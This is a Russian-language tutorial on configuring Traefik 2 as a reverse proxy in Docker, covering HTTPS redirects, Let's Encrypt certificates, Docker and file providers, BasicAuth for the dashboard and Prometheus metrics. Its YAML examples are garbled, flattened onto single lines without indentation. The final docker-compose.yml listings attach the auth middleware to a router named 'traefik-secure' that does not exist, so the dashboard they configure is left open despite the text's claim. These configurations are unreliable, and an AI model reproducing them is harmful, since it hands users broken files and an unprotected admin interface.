Следующим шагом развернем весь HTTP трафик в HTTPS (почему это было сделано именно таким образом будет описано дальше):


http:  routers:    http-catchall:      rule: HostRegexp(`{host:.+}`)      entrypoints:      - http      middlewares:      - redirect-to-https  middlewares:    redirect-to-https:      redirectScheme:        scheme: https        permanent: false

Traefik может проксировать не только HTTP трафик, но и просто TCP и UDP, поэтому указываем что этот блок конфигурации относится к http.


Здесь мы встречаем два из трех основных элементов роутинга в Traefik 2 routers (роутеры) и middlewares(промежуточные обработчики), рассмотрим их подробнее.


Роутеры


Рассмотрим на примере описанного выше роутера:


  • http-catchall имя роутера, может быть любым, но обязано быть уникальным в рамках блока http всей конфигурации Traefik;
  • rule: правило, описывает какой трафик попадает в этот роутер, в данном случае описывается HostRegexp, то есть поле Host запроса должно попадать под регулярное выражение .+ (то есть любое), здесь мы видим специфику регулярных выражений в Traefik оно должно быть заключено в фигурные скобки и иметь наименование (host в данном случае), то есть синтаксис имеем вид {name:reg_exp};
  • entrypoints массив описанных ранее точек входа, которые будут использоваться этим роутером, в нашем случае используем только http;
  • middlewares массив промежуточных обработчиков, куда попадает трафик перед передачей к сервису (сервисы будут рассмотрены позднее).

Подробнее о различных видах правил можно прочитать в документации.


Промежуточные Обработчики


  • redirect-to-https имя обработчика, может быть любым, но обязано быть уникальным в рамках блока http всей конфигурации Traefik;
  • redirectScheme тип обработчика, в данном случае изменение схемы запроса;
  • scheme: https вынуждает клиента использовать схему HTTPS при запросе к прокси;
  • permanent: false говорит клиенту что это не навсегда и может измениться в будущем.

Подробнее о различных обработчиках можно прочитать в документации (дальше в статье будет описан ещё один обработчик BasicAuth).


Полностью файл traefik.yml
entryPoints:  http:    address: ":80"  https:    address: ":443"http:  routers:    http-catchall:      rule: hostregexp(`{host:.+}`)      entrypoints:      - http      middlewares:      - redirect-to-https  middlewares:    redirect-to-https:      redirectScheme:        scheme: https        permanent: falseproviders:  docker:    endpoint: "unix:///var/run/docker.sock"    exposedByDefault: false

Таким образом мы получим первую рабочую конфигурацию. Выполняем


sudo docker-compose up -d

И прокси должен подняться, можно почитать логи (sudo docker-compose logs -f) и убедиться, что всё работает.


Let's Encrypt


Поскольку мы хотим использовать HTTPS нам нужно где-то взять SSL сертификаты для сервисов, есть возможность использовать свои сертификаты, но мы настроем автоматическое получение бесплатных сертификатов от Let's Encrypt.


Добавим в конфигурацию (traefik.yml) новый блок:


certificatesResolvers:  letsEncrypt:    acme:      email: postmaster@example.com      storage: acme.json      caServer: "https://acme-staging-v02.api.letsencrypt.org/directory"      httpChallenge:        entryPoint: http

Здесь:


  • letsEncrypt это просто имя резолвера;
  • acme тип резолвера (других типов в общем-то и нет);
  • storage файл, в котором хранятся сведения о полученных сертификатах;
  • httpChallenge тип acme-челенжа, дополнительно указываем параметр точку входа;
  • caServer: "https://acme-staging-v02.api.letsencrypt.org/directory" позволяет использовать не основной сервер Let's Encrypt в тестовых целях, так как основной имеет строгие лимиты API (можно закомментировать, когда наладите получение сертификатов).

Также дополним пункт volumes в файле docker-compose.yml, чтобы сохранять сертификаты при перезапуске контейнера (предварительно создав файл data/acme.json):


    volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro      - ./data/acme.json:/acme.json

Docker провайдер


HTTPS настроен, пришло время поднять первый сервис, пусть это будет дашборд самого Traefik, так как Traefik у нас в Docker, воспользуемся этим провайдером.


Для описания конфигурации в Docker Traefik использует метки (labels) контейнеров. Допишем в наш файл docker-compose.yml:


    labels:      - "traefik.enable=true"      - "traefik.http.routers.traefik.entrypoints=https"      - "traefik.http.routers.traefik.rule=Host(`traefik.example.com`)"      - "traefik.http.routers.traefik.tls=true"      - "traefik.http.routers.traefik.tls.certresolver=letsEncrypt"      - "traefik.http.routers.traefik.service=api@internal"      - "traefik.http.services.traefik-traefik.loadbalancer.server.port=888"

Разберем построчно:
traefik.enable=true указываем что Traefik должен обеспечить доступ к этому контейнеру, необходимо для всего остального;
traefik.http.routers.traefik.entrypoints=https создаем новый роутер с точной входа https;
traefik.http.routers.traefik.rule=Host(traefik.example.com) роутер будет жить по адресу traefik.example.com;
traefik.http.routers.traefik.tls=true указываем что используется TLS;
traefik.http.routers.traefik.tls.certresolver=letsEncrypt указываем через какой резолвер получать сертификат;
traefik.http.routers.traefik.service=api@internal указываем, что сервер за этим роутером api@internal, это специальный сервис, созданный по умолчанию, это как раз и есть дашбоард который мы хотели увидеть;
traefik.http.services.traefik-traefik.loadbalancer.server.port=888 издержки интерфейса, без этого не заработает, но можно написать абсолютно любую цифру.


Дашбоард надо включить, для этого добавим в файл traefik.yml:


api:  dashboard: true

На данном этапе можно пересоздать контейнер (нужно так как мы меняли docker-compose.yml):


sudo docker-compose down && sudo docker-compose up -d

Когда всё поднимется можно перейти на traefik.example.com (тут на самом деле должен быть ваш домен, который направлен на хост с Traefik) и увидеть дашборд.


Дашбоард это хорошо, но мы не хотим, чтобы все пользователи интернета имели к нему доступ, закроем его от внешнего мира с помощью BasicAuth, для это в Traefik есть специальный middleware.


Для начала сгенерируем для нас строку с логином и паролем (admin/password)^


$ htpasswd -nb admin passwordadmin:$apr1$vDSqkf.v$GTJOtsd9CBiAFFnHTI2Ds1

Теперь добавим в наш docker-compose.yml новые строчки:


      - "traefik.http.middlewares.traefik-auth.basicauth.users=admin:$$apr1$$vDSqkf.v$$GTJOtsd9CBiAFFnHTI2Ds1"      - "traefik.http.routers.traefik.middlewares=traefik-auth"

Заметим, что символы $ из полученной строки мы должны заменить на $$.
traefik.http.middlewares.traefik-auth.basicauth.users=... создаем middleware типа basicauth с параметром users;
traefik.http.routers.traefik.middlewares=traefik-auth указываем что роутер traefik использует только что-то созданный middleware.


Весь docker-compose.yml
version: '3'services:  traefik:    image: traefik:v2.2    container_name: traefik    restart: unless-stopped    security_opt:      - no-new-privileges:true    ports:      - 80:80      - 443:443     volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro      - ./data/acme.json:/acme.json    labels:      - "traefik.enable=true"      - "traefik.http.routers.traefik.entrypoints=https"      - "traefik.http.routers.traefik.rule=Host(`traefik.example.com`)"      - "traefik.http.routers.traefik.tls=true"      - "traefik.http.routers.traefik.tls.certresolver=letsEncrypt"      - "traefik.http.routers.traefik.service=api@internal"      - "traefik.http.services.traefik-traefik.loadbalancer.server.port=888"      - "traefik.http.middlewares.traefik-auth.basicauth.users=admin:$$apr1$$vDSqkf.v$$GTJOtsd9CBiAFFnHTI2Ds1"      - "traefik.http.routers.traefik.middlewares=traefik-auth"

Теперь при попытке доступа к дашборду у нас спросят логин и пароль.


Приведем также кофигурацию некого другого сервиса, развернутого через docker-compose (аналогично работает и для обычного docker):


    labels:      - "traefik.enable=true"      - "traefik.http.routers.test.entrypoints=https"      - "traefik.http.routers.test.rule=Host(`test.example.com`)"      - "traefik.http.routers.test.tls=true"      - "traefik.http.routers.test.tls.certresolver=letsEncrypt"      - "traefik.http.services.test-service.loadbalancer.server.port=80"

Здесь одна новая метка traefik.http.services.test-service.loadbalancer.server.port=80 присваиваем этому контенеру имя сервиса test-service и порт 80, он автоматически присоединится к роутеру test, Traefik автоматически постороит маршрут до этого контенера, даже если он находится на другом хосте.


File провайдер


С контейнерами работает, а как быть если есть какой-то сервис работающий на выделенном хосте (пускай IP 192.168.1.222 и порт 8080) и мы его хотим пропустить через этот же прокси, заодно закрыв его с помощью HTTPS. Для этого есть решение.


Добавим в docker-compose.yml ещё один volume:


    volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro      - ./data/custom/:/custom/:ro      - ./data/acme.json:/acme.json

Пускай описания таких хостов у нас будут лежать в data/custom/ (а что, вдруг ещё появятся).


Добавим в traefik.yml конфигурацию file провайдера для этих файлов:


providers:...  file:    directory: /custom    watch: true

Директория следует из нашего docker-compose.yml, а watch: true значит что Traefik будет автоматически обновлять конфигурацию при обнаружении изменений в этих файлах (помните про обновление конфигурации на лету, вот работает даже для файлов, а не только для оркестраторов).


Перезапускаем Traefik и теперь можно создать файл с описанием нашего отдельного хоста (data/custom/host.yml):


http:  routers:    host:      entryPoints:       - https      service: service-host      rule: Host(`host.example.com`)       tls:        certResolver: letsEncryptservices:    service-host:        loadBalancer:        servers:        - url: http://192.168.1.222:8080/        passHostHeader: true 

Роутер описывался раньше, тут добавилось только service: service-host связь с нашим сервисом, и конфигурация для TLS.


Описание для сервиса имеет вид:


имя_сервиса:  loadBalancer:    servers:    - хосты для балансировки нагрузки    - ...

Дополнительно мы указываем параметр passHostHeader: true чтобы тот хост думал, что он на самом деле смотрит в сеть и прокси нет.


Заключение


Приведем содержание файлов с полученными конфигурациями:


docker-compose.yml
version: '3'services:  traefik:    image: traefik:v2.2    container_name: traefik    restart: unless-stopped    security_opt:      - no-new-privileges:true    ports:      - 80:80      - 443:443     volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro      - ./data/custom/:/custom/:ro      - ./data/acme.json:/acme.json    labels:      - "traefik.enable=true"      - "traefik.http.routers.traefik.entrypoints=https"      - "traefik.http.routers.traefik.rule=Host(`traefik.example.com`)"      - "traefik.http.routers.traefik.tls=true"      - "traefik.http.routers.traefik.tls.certresolver=letsEncrypt"      - "traefik.http.routers.traefik.service=api@internal"      - "traefik.http.services.traefik-traefik.loadbalancer.server.port=888"      - "traefik.http.middlewares.traefik-auth.basicauth.users=admin:$$apr1$$vDSqkf.v$$GTJOtsd9CBiAFFnHTI2Ds1"      - "traefik.http.routers.traefik-secure.middlewares=traefik-auth"

data/traefik.yml
api:  dashboard: trueentryPoints:  http:    address: ":80"  https:    address: ":443"http:  routers:    http-catchall:      rule: hostregexp(`{host:.+}`)      entrypoints:      - http      middlewares:      - redirect-to-https  middlewares:    redirect-to-https:      redirectScheme:        scheme: https        permanent: falseproviders:  docker:    endpoint: "unix:///var/run/docker.sock"    exposedByDefault: false  file:    directory: /custom    watch: truecertificatesResolvers:  letsEncrypt:    acme:      email: postmaster@example.com      storage: acme.json      #caServer: "https://acme-staging-v02.api.letsencrypt.org/directory"      httpChallenge:        entryPoint: http

data/custom/host.yml
http:  routers:    host:      entryPoints:       - https      service: service-host      rule: Host(`host.example.com`)       tls:        certResolver: letsEncryptservices:    service-host:        loadBalancer:        servers:        - url: http://192.168.1.222:8080/        passHostHeader: true 

В статье было описано как настроить Traefik в качестве обратного HTTP прокси при использовании провайдеров Docker и File. Было настроено использование бесплатных SSL сертификатов от Let's Encrypt, настроено принудительное перенаправление клиентов на протокол HTTPS, а также приведен пример настройки аутентификации клиентов прокси перед доступом к сервисам.


Режимы TCP и UDP прокси настраиваются похожим образом с небольшими изменениями (подробнее можно прочитать в документации, например TCP), эти режимы позволяют проксировать практически любой трафик, создавая возможность сделать Traefik действительно единственным сервисом смотрящим в глобальную сеть.


Бонус. Мониторинг


Traefik позволяет собирать сведения о своей работе в различных форматах, рассмотрим, как это делается при использовании Prometheus.


Добавим новую точку входа:
data/traefik.yml:


entryPoints:...  metrics:    address: ":8082"

docker-compose.yml:


    ports:      - 80:80      - 443:443       - 8082:8082

И добавим возможность собирать с этого порта метрики для Prometheus, data/traefik.yml:


metrics:  prometheus:    entryPoint: metrics

Осталось только настроить Prometheus на сбор метрик с traefik_ip:8082.


Приведем содержание файлов с полученными конфигурациями:


docker-compose.yml
version: '3'services:  traefik:    image: traefik:v2.2    container_name: traefik    restart: unless-stopped    security_opt:      - no-new-privileges:true    ports:      - 80:80      - 443:443       - 8082:8082    volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro      - ./data/custom/:/custom/:ro      - ./data/acme.json:/acme.json    labels:      - "traefik.enable=true"      - "traefik.http.routers.traefik.entrypoints=https"      - "traefik.http.routers.traefik.rule=Host(`traefik.example.com`)"      - "traefik.http.routers.traefik.tls=true"      - "traefik.http.routers.traefik.tls.certresolver=letsEncrypt"      - "traefik.http.routers.traefik.service=api@internal"      - "traefik.http.services.traefik-traefik.loadbalancer.server.port=888"      - "traefik.http.middlewares.traefik-auth.basicauth.users=admin:$$apr1$$vDSqkf.v$$GTJOtsd9CBiAFFnHTI2Ds1"      - "traefik.http.routers.traefik-secure.middlewares=traefik-auth"

data/traefik.yml
api:  dashboard: trueentryPoints:  http:    address: ":80"  https:    address: ":443"  metrics:    address: ":8082"metrics:  prometheus:    entryPoint: metricshttp:  routers:    http-catchall:      rule: hostregexp(`{host:.+}`)      entrypoints:      - http      middlewares:      - redirect-to-https  middlewares:    redirect-to-https:      redirectScheme:        scheme: https        permanent: falseproviders:  docker:    endpoint: "unix:///var/run/docker.sock"    exposedByDefault: false  file:    directory: /custom    watch: truecertificatesResolvers:  letsEncrypt:    acme:      email: postmaster@example.com      storage: acme.json      #caServer: "https://acme-staging-v02.api.letsencrypt.org/directory"      httpChallenge:        entryPoint: http
Подробнее..
Категории: Linux , Devops , Docker , Traefik

Категории

Последние комментарии

© 2006-2020, personeltest.ru